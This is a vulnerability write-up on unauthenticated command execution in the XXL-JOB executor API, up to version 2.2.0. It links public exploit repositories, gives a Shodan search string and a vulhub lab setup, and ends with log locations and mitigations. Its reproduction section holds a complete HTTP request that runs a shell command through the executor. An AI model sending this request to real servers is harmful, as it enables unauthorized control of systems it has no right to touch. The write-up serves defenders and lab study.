Understanding XXL-JOB: Vulnerabilities and Insights into Distributed Task Scheduling Platforms

Vulnerability Overview

XXL-JOB is a lightweight distributed task scheduling platform designed for rapid development, easy learning, lightweight operation, and extensibility. It is open-source and has been integrated into the production environments of multiple companies, offering out-of-the-box usability. XXL-JOB consists of two components: admin (management console) and executor (task execution client). By default, the executor lacks authentication, allowing unauthorized attackers to execute arbitrary commands via its RESTful API.

Affected Versions

XXL-JOB <= 2.2.0

Shodan Search Syntax

invalid request, HttpMethod not support.

Vulnerability Exploit

https://github.com/OneSourceCat/XxlJob-Hessian-RCE

https://github.com/jas502n/xxl-job

Environment Setup

Use vulhub to reproduce the vulnerability by launching XXL-JOB version 2.2.0. Access the admin console at http://your-ip:8080 and the executor client at http://your-ip:9999.

Vulnerability Reproduction

Send the following data packet to the executor client to execute commands:

POST /run HTTP/1.1
Host: your-ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "touch /tmp/success",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

Command executed successfully.

Versions below 2.2.0 of XXL-JOB lack a RESTful API. Commands can be executed using the provided exploits.

• XXL-JOB <= 2.1.2 requires exploiting Hessian deserialization.
• XXL-JOB >= 2.2.0 supports RESTful API, allowing direct use of public proof-of-concept (POC) exploits.

Error Fingerprints

These can be used as indicators to identify vulnerable assets.

Tracing and Investigation

Log location: /var/log/xxl-job/

Execution records can also be found in Docker logs, but IP addresses are not logged.

Mitigation Methods

• Upgrade XXL-JOB to the latest version.
• Enable authentication by configuring xxl.job.accessToken to prevent unauthorized access.